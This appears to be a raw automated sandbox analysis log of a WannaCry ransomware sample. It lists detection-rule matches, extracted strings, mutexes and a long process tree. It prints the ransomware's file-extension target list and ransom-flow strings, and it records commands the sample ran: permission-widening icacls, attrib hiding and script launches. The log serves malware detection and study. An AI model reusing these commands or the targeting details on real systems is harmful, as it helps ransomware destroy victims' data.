            Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: WannaCry_2.EXE, 00000000.00000003.1163474692.0000000000A14000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000003.1152098482.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmpBinary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!
            Source: WannaCry_2.EXE, 00000000.00000002.2385913238.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: .der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.edb.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.dotx.dotm.dot.docm.docb.jpg.jpeg.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.eml.msg.ost.pst.pptx.ppt.xlsx.xls.docx.doc%s\%d%s.WNCRYT%s%sTWANACRY!.WNCRY.WNCYR\\@WanaDecryptor@.bmp@WanaDecryptor@.exe.lnk@Please_Read_Me@.txt%s\%s...%s\*.dll.exe~SD@WanaDecryptor@.exeContent.IE5Temporary Internet Files This folder protects against ransomware. Modifying it will reduce protection\Local Settings\Temp\AppData\Local\Temp\Program Files (x86)\Program Files\WINDOWS\ProgramData\Intel$\CloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
            Source: WannaCry_2.EXE, 00000000.00000000.1123120496.000000000040E000.00000008.00000001.01000000.00000003.sdmpBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
            Source: classification engineClassification label: mal100.rans.evad.winEXE@903/948@0/0
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10005540 GetDriveTypeW,InterlockedExchangeAdd,GetDiskFreeSpaceExW,Sleep,GetDiskFreeSpaceExW,Sleep,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,InterlockedExchange,GetDriveTypeW,0_2_10005540
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\b.wnryJump to behavior
            Source: C:\Windows\System32\SIHClient.exeMutant created: {376155FF-95A0-46CA-8F57-ACB09EA70153}
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6184:120:WilError_03
            Source: C:\Users\user\Desktop\WannaCry_2.EXEMutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7092:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_03
            Source: C:\Users\user\Desktop\WannaCry_2.EXEMutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Temp\~SD9E38.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 133611722583794.bat
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
            Source: WannaCry_2.EXEStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Windows\System32\dllhost.exeFile read: C:\Users\desktop.ini
            Source: C:\Users\user\Desktop\WannaCry_2.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: WannaCry_2.EXEReversingLabs: Detection: 92%
            Source: WannaCry_2.EXEVirustotal: Detection: 94%
            Source: unknownProcess created: C:\Users\user\Desktop\WannaCry_2.EXE "C:\Users\user\Desktop\WannaCry_2.EXE"
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
            Source: C:\Windows\SysWOW64\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\icacls.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 133611722583794.bat
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\System32\SIHClient.exe C:\Windows\System32\sihclient.exe /cv Uh7zHirJxEOn/q4qaZ2wzQ.0.2
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
